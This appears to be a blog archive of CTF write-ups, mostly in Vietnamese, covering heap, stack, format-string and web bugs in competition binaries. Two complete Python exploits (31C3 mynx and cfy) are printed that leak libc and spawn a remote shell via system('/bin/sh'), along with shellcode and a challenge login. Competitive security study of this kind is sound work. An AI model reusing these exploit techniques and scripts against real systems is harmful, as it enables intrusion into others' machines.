All posts by peternguyen

[Whitehat GrandPrix 2015] Writeup

Pwn200:

ASLR tắt, bug cho phép ghi đè 2 byte vào địa chỉ char *buf = malloc(20);. Với ASLR tắt thì địa chỉ map của [heap] section sex fix ở dạng 0x0804xxxx, do đó ta có thể điều khiểu *buf = got_table một cách dễ dàng. Phương pháp khai thác như sau:

  • Ghi đè free's got = trở lại phần read để đọc > 40 bytes => stack overflow.
  • Ghi đè strtoimax's = địa chỉ lệnh ret
  • Ghi đè memcpy => leave;ret => tiến hành trigger buffer overflow khi trở lại hàm read để đọc > 40 bytes. Ngoài ra do ASLR tắt nên địa chỉ map của libc luôn fix, nên công việc còn lại chỉ là bruteforce libc base addr.

Mã khai thác: https://gist.github.com/peternguyen93/f4e9bf786c2df2ab968f

Pwn300:

Lỗ hổng stack base buffer overflow rất rõ ràng khi sử dụng hàm gets(buf), do binary được compiled 32 bit do đó ta có thể control địa chỉ flag và đọc được bất cứ dữ liệu nào của memory

void find_flag(char *flag)
{
    char buf[256];
    make_flag(flag); //đổi flag
    while(1){
       gets(buf);
       printf("%s%s\n",buf,flag);
    }
}

Mã khai thác

https://gist.github.com/peternguyen93/e187ad6cee83346298ce

Pwn500:

Binary sử dụng các kỹ thuật anti-debug và cấm sử dụng các syscall (execve,fork,clone). Ngoài ra lỗ hổng buffer overflow khá là rõ ràng, binary được compile bằng PIE. Tuy nhiên, hàm read không tự động viết null bye vào cuối, do đó ta có thể leak được canary và libc_base , thông qua các bước sau:

  • Leak canary.
  • Ghi đè địa chỉ return address về main
  • Leak libc_start_main => libc_base
  • Tiến hành sử dụng rop chain để build mã đọc flag và trả về.

https://gist.github.com/peternguyen93/c4dda7ef5dd7cb549a2f

Web100:

SQL Injection, do chưa filter đấu '\'. Ngoài ra trước khi hết thúc xử lý request, web100 gọi hàm re.findall(r'(y+)*',row), hàm regex findall match tất cả các substring có thể match, ngoài ra chuỗi regex (y+)* với một chút google ta có kq sau https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS , đo đó có thể build một query cho phép ta có thể phân biệt được trạng thái đúng hoặc sai để blind flag dựa trên time base.

https://gist.github.com/peternguyen93/75839e252257e9da62e4

Web200:

Lỗ hỗng rất rõ ràng khi web app sử dụng pickle data serialization, thông qua đó ta có thể sử dụng code injection để có được shell trên server.

https://gist.github.com/peternguyen93/c168c15919a3203acfe2

Web300:

Lỗi LFI cho phép có thể lấy được mã nguồn của website, trong đó thấy được một script cgi lấy thông tin về thời gian. Script này bị lỗi command injection, do giới hạn các hàm connect back, để get shell ta lợi dụng file /run/cgicounter ta có thể đọc từng ký tự của command trả về.

https://gist.github.com/peternguyen93/0c34bc33d99ff71593a7

CSAW 2015 CTF All Exploitable Solutions (Script only)

I'm too lazy to write up in deep these challenges, but i will give you my solution to solve these challenges. You will do it by yourself before you read my exploit script, that makes you understand deeper. I hope you enjoy with this. Happy pwnning.

1119

[Write up] DEFCON CTF 2015 - wwtv , cybergrandsandbox

WWTV

The bug is easy to find at function Coordidate, this is basic format string bug

But before you enter printf(s), we must to bypass the check a pair float number is parsed from s, to bypass it we just append format string bug to the end of the pair '51.492137,-0.192878' , for more information about atof read this http://www.cplusplus.com/reference/cstdlib/atof/

So the payload to exploit this bug too easy:

  1. First, we need to leak binary base address, and libc address
  2. Second, calc system address and then overwrite atof got by system address and then pwned.

But the game is not over, before we exploit the bug, we need to solve 2 problems:

We must to write a program to solve the game to enter TARDIS mode (this task is to quite strange)

We must bypass timecheck to enter vulnerable function

time_c > 0x55592B6C && time_c <= 0x55592B7F;

We must set time_c in range (0x55592b6c,0x55592b7f].

Take a look at READ_DATA function , will be triggered after 2 second.

OMG, the buffer was used for saving the connection to localtime server was used to store user input. We just send 9 zero bytes to server and then wait until READ_DATA is triggered and then send 4 bytes in require range, and we will enter vulnerable function.

Our poc here : https://gist.github.com/peternguyen93/f06aa5e27626598a1c21

CyberGrandSandbox

This is very interesting challenge.

After doing RE we find some usefull information:

This program implementing basic Polish Notation by using JIT compiler.

The structure of jit is:

Take a look at function handle_digit 

When we inputted a string of number is seperated by space character , the jit compiter will push it in the stack_buffer.

We know that size of stack_buf is 0x1000 (located below stack_code), in this function there are no unbound checking if we push the stack_buf into stack_code, and so this bug does.

We just write own shellcode and then overwrite some opcode in the end of asm_code with own shellcode  (because cgc executable is not have sys_execve syscall so we just use some syscall provided by CGC to read the flag).

Our shellcode :

_start:
	push 0x3
	pop eax
	push ebx
	pop ecx
	push 0x3
	pop ebx
	push 0x50
	pop edx ;ebx hold my buffer
	int 0x80
	push 0x2
	pop eax
	push 0x1
	pop ebx
	int 0x80

Our poc is : https://gist.github.com/peternguyen93/e7d08cf109b38af6baae

This is the first time i wrote writeup using english, if something went wrong or some point you dont understand, feel free to ask me above

[Whitehat Contest 8] Pwn200,Pwn500 Writeup

Phân tích code, binary là một simple webserver , nhận request từ client và trả về dữ liệu cần yêu cầu, hỗ trợ (GET/HEAD)

Chú ý 2 đoạn code sau

Screen Shot 2015-02-01 at 9.22.05 PM

Nhận path request , tiến hành urldecode rồi open cái file html/js/... mà client yêu cầu, sau đó trả về content.

Kiểm tra hàm CleanURL

Screen Shot 2015-02-01 at 9.22.44 PM

Hàm có tác vụ urldecode, tuy nhiền hàm này lại không filter '../' (path traveler) cho phép attacker có thể sử dụng '../' để read /etc/passwd (hoặc flag) chẳng hạn

Screen Shot 2015-02-01 at 9.18.50 PM

Screen Shot 2015-02-01 at 9.19.00 PM

[Write Up] Hackim CTF - mixme - PWN5

Đánh giá sơ lược về binary:

~/Sources/CTFs/hackim » file mixme                               peternguyen@peternguyen
mixme: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=b93d20dd523097dd7d53a7fda265a2d977d29c30, stripped

Checksec:

Chương trình có 3 lệnh chính: (store/edit/get)

Phân tích hàm edit

Đựa trên hàm store, mình có thể reverse lại được cấu trúc lưu trữ của chương trình như sau:

struct node{
 char name[16];
 int size;
 char *data;
 struct node *next;
 struct node *prev;
}

size là khích cỡ vùng nhớ được malloc cho data.

Các node được lưu trữ bằng một danh sách double linked list circular

Vùng nhớ tổ chức trong mem như sau (tạo 2 block với data size = 16:

Gồm 3 block: block head được khởi tạo mặc định khi chạy chương trình.

Để ý phần data của block được cấp phát là 1 đoạn đằng sau block, tôi sẽ đề cập sau ở phần khai thác lỗi.

Phân tích hàm edit

Nhập name,và size, hàm sẽ duyệt qua linked list để tìm ra block có tên tương ứng, và cập nhật lại phần data.

Để ý phần sau:

Chương trình đọc từ stdin vào data nbytes, mà nbytes không check length.

Nếu tạo 2 block liền nihau thì, phần tiếp theo phần data của block 1 là block2 nên ta có thể overwrite được cái block 2.

Phân tích hàm get:

Nhập vào tên block và size, tìm ra block tương ứng, in phần data ra màn hình, free vùng data và block, cập nhật lại linked list. Để ý write(1,node->data,n); mình sẽ dùng nó để leak addr

Khai thác lỗi.

Ở đây mình sẽ overwrite địa chỉ data bằng địa chỉ của một hàm trong bảng got bằng cách lợi dụng phần read(0,node->data,node->size)

Để ý hàm free(node->data) nhận input là phần data nhập vào, ý tưởng là overwrite free trong bảng got là system và ta có, system(node->data).

Payload của mình làm theo các bước như sau:

  1. Tạo ra 2 block peter123,lol123 với data size của mỗi block là 16 bytes
  2. edit block peter123: với size 56, 'D'*28 + '\x00' * 16 + 'CCCC', với CCCC => địa chỉ hàm free, sở dĩ mình padd '\x00'*16 byte để làm name của block2 = 'DDDD'.
  3. edit block 2 ('DDDD') với size 4 bytes để ghi đè free trong bảng got ở đây mình ghi đè got bằng địa chỉ của lệnh ret, mục đích là để bypass qua hàm free, vì mình lợi dụng lệnh ret để leak 1 địa chỉ trong bảng GOT.
  4. get block 2('DDDD') minh sẽ leak được 1 địa chỉ trong bảng GOT, từ đó tính được địa chỉ hàm system.
  5. Tạo tiếp 2 block bất kì (b1,b2) với data size của mỗi block là 16 bytes
  6. edit block1('b1') ghi đè địa chỉ data của block 2 bằng địa chỉ free một lần nữa
  7. edit block2() để ghi đè free bằng system.
  8. Tạo ra block 'shell' với phần data='/bin/sh'
  9. get block('shell') và boom đã có được shell

Payload: http://pastebin.com/n2G30Fk4

[Write up] 31C3 mynx

Đây là một bài khá hay, mình phải mấy mấy tiếng đồng hồ để phân tích code.

Đầu tiên chương trình tổ chức bộ nhớ, cấp phát như sau:

Cấp phát 1 vùng nhớ 0x1000 bytes đầu tiên, và set 4 byte kế tiếp là length <địa chỉ vùng nhớ><độ dài phần tử>(1)

Vùng nhớ 0x1000 bytes này được chia nhỏ ra 16 phần, 1 phần là 256 bytes.

Nếu vùng nhớ 0x1000 bytes này hết , chương trình sẽ tạo 1 vùng nhớ khác tiếp theo như (1)

Cấu trúc của một ascii art được phân bố như sau:

struct ascii_art{
     char tag; // tag của ascii_art có giá trị bằng 'I'
     int id;
     void (*filter)(char* content);
     char content[247];
};

Cấu trúc của một comment được phân bố như sau:

struct comment{
    char tag; // tag có giá trị bằng '7'
    int id;
    char content[251];
}

Xem xét đoạn mã sau:

Sau khi tạo 1 block comment, chương trình đọc vào vùng content với giá trị là 252 bytes (lố 1 byte) dựa vào đây mình sẽ khai thác được lỗi, ghi đè giá trị tag của block kế, biến block comment -> block ascii art, từ đó fake được filterfunc.

đoạn mã trên dùng để trigger bug khi biến block comment -> block ascii art

Các khai thác lỗi:

Tạo 1 block ascii art, tạo 2 block comment cho block ascii 1 , tạo block ascii art 2
+----------------------+
|  Ascii Block 1       |
+----------------------+
|  comment 1(1)        |
+----------------------+
|  comment 2(1)        |
+----------------------+
|  Ascii Block 2       |
+----------------------+

Xóa hết comment block 1, tạo lại comment cho block 1 và block 2, dùng comment block 2, overwrite giá trị tag của Ascii Block 2 thành comment, dùng comment block 1 để overwrite comment block 2 thì Ascii Block 2

+----------------------+
|  Ascii Block 1       |
+----------------------+
|  comment 1(1)        |
+----------------------+
|  comment 1(2)        |
+----------------------+
|  Ascii Block 2       |
+----------------------+

Trạng thái cần đạt được

+--------------------------------+
|  Ascii Block 1                 |
+--------------------------------+
|  comment 1(1)                  |
+--------------------------------+
|  comment 2(1),block 2 fake     |
+--------------------------------+
|  Ascii Block 2, comment 2 fake |
+--------------------------------+

Trigger bug và ta có

Do mình có thể control được filter_func và content, cho nên mình sẽ dùng printf và fmt để leak được địa chỉ __libc_main_start ở trên stack, từ đó tính được địa chỉ của hàm system

Payload:

import socket
from struct import *
import telnetlib

#+------------------+
#|	Ascii Block 1 	|
#+------------------+
#|	comment 1 		|
#+------------------+
#|	comment 2 		|
#+------------------+
#|	Ascii Block 2 	|
#+------------------+

def connect(host,port):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,port))
	return s

def add_ascii_block(s,block):
	s.send('1\n')
	s.recv(1024)
	s.recv(1024)
	s.send('1\n')
	s.recv(1024)
	s.send(block)

def add_comment_block(s,block):
	s.send('1\n')
	s.recv(1024)
	s.send(block)

def select_block_id(s,block_id):
	s.send('3\n') # select
	s.recv(1024)
	s.recv(1024)
	s.send(str(block_id) + '\n')
	s.recv(1024)
	s.recv(1024) # comment menu

def back_to_main_menu(s):
	s.recv(1024)
	s.recv(1024) # comment menu
	s.send('0\n') # back
	s.recv(1024) # main menu
	s.recv(1024)

def leak_mem(s):
	__libc_main = 0
	fmt = '%p'*22 + '%s'
	payload = pack('<I',0x8048420) # printf
	payload+= fmt + 'A'*(0xfb - 4 - len(fmt)) + '7'

	s.recv(1024) # banner
	s.recv(1024) # main menu
	add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
	s.recv(1024)
	s.recv(1024) # main menu
	select_block_id(s,1)
	add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
	back_to_main_menu(s)
	add_ascii_block(s,'B'*0xf6 + '\n')
	s.recv(1024)
	s.recv(1024) # main menu
	select_block_id(s,1)
	s.send('2\n') # remove all comments of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
	back_to_main_menu(s)
	# add comment to block 2, change ascii block 2 into comment block 2
	select_block_id(s,2)
	add_comment_block(s,payload)
	back_to_main_menu(s)
	select_block_id(s,1)
	# change 1st comment of block 2 into block 2
	s.send('2\n') # remove all comments of block 1
	s.recv(1024)
	s.recv(1024) # comment menu
	add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
	back_to_main_menu(s)
	select_block_id(s,2)
	s.send('3\n') # trigger bug
	d = s.recv(1024)
	if '\xf7' in d:
		index = d.index('\xf7')
		__libc_main = d[index - 3:index + 1]
		__libc_main = unpack('<I',__libc_main)[0]
	s.send('0\n') # back
	s.recv(1024) 
	s.recv(1024) # main menu
	return __libc_main

def exploit():
	s = connect('188.40.18.80',1234)
	__libc_main = leak_mem(s)
	offset = 149824 # Ubuntu 14.10

	if (__libc_main & 0xf7000000) == 0xf7000000:
		system_addr = __libc_main + offset

		cmd = '/bin/sh\x00'

		payload = pack('<I',system_addr)
		payload+= cmd + 'A'*(0xfb - 4 - len(cmd)) + '7'
		print '[!!!] System(): ',hex(system_addr)

		add_ascii_block(s,'A'*0xf6 + '\n') # add ascii block
		s.recv(1024)
		s.recv(1024) # main menu
		select_block_id(s,3)
		add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'C'*0xfb + '\n') # add comment of block 1
		back_to_main_menu(s)
		add_ascii_block(s,'B'*0xf6 + '\n')
		s.recv(1024)
		s.recv(1024) # main menu
		select_block_id(s,3)
		s.send('2\n') # remove all comments of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'D'*0xfb + '\n') # add comment of block 1
		back_to_main_menu(s)
		# add comment to block 2, change ascii block 2 into comment block 2
		select_block_id(s,4)
		add_comment_block(s,payload) # real payload
		back_to_main_menu(s)
		select_block_id(s,3)
		# change 1st comment of block 2 into block 2
		s.send('2\n') # remove all comments of block 1
		s.recv(1024)
		s.recv(1024) # comment menu
		add_comment_block(s,'A'*0xfb + 'I') # mark that comment 1 of block 2 is block 2
		back_to_main_menu(s)
		select_block_id(s,4)
		s.send('3\n') # trigger bug
		print '[!!!] Shell is comming'
		# interact socket with stdin,stdout
		t = telnetlib.Telnet()
		t.sock = s
		t.interact()

exploit()

[Write Up] 31C3 cfy

Chạy chương trình, hiện ra 1 menu:

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

Chương trình parse input option vào như sau :

option người dùng nhận vào ở rbp-0xc

 

Kiểm tra giá trị rbp-0xc nếu bằng 3 thì thoát.

Nhận input người dung vào địa chỉ 0x6010e0 dùng option mà người dụng chọn tính ra hàm tương ứng cần gọi (0x601080 lưu địa chỉ các hàm : fromhex,fromdec,fromptr)

rax = (long *)0x601080[$(rbp-c)]; mov rdi,0x6010e0; call eax;

để ý lúc kiểm tra option nhập vào trương trình chỉ kiểm tra đk $(rbp-0xc) != 3 thì sẽ execute đoạn trên. Để ý địa chỉ input lớn hơn địa chỉ lưu trữ các hàm, nếu nhập input > 3 thì ta sẽ có : 0x601080 + $(rbp-0xc)*8 với 1 giá trị x của $(rbp-0xc) thì eax sẽ trỏ tới input của mình và mình có thể kiếm soát đc call eax.

Ngoài ra, hàm fromptr có thể cho phép mình đọc bất kỳ vùng nhớ nào.

Payload sẽ là:

- dùng hàm fromptr để leak địa chỉ 1 hàm trong libc, dự đoán phiên bản libc đang chạy trên server (ở đây là ubuntu 14.10) , có offset từ hàm đó đến system

- sử dụng bug trên để eax=system, và argv = /bin/sh

import socket
from struct import *
import telnetlib
# 116064
# Login: cfy_pwn // 31C3_G0nna_keep<on>grynding
def connect(host,port):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,port))
	return s

def build_payload(system_addr):
	shell = '/bin/sh\x00'
	buff_addr = 0x6010e0
	func_addr = 0x601080

	payload = shell + '\x00'*8
	jmp_offset = 6 + (len(payload) >> 4)
	payload += pack('<Q',system_addr) + '\n'

	return (jmp_offset,payload)

def exploit():
	offset = 179728

	s = connect('188.40.18.73',3313)
	s.recv(1024) # banner
	# leak libc addr
	s.send('2\n')
	s.recv(1024)
	s.send(pack('<Q',0x601018) + '\n') # puts@got
	leak_addr_str = s.recv(1024).split('\n')
	leak_addr = int(leak_addr_str[1].replace('hex: ',''),16)

	system_addr = leak_addr - offset
	print '[+] system():',hex(system_addr)
	jmp_offset,payload = build_payload(system_addr)
	# send payload
	s.recv(1024)
	s.send(str(jmp_offset) + '\n')
	s.recv(1024)
	s.send(payload)

	# interact socket with stdin,stdout
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

exploit()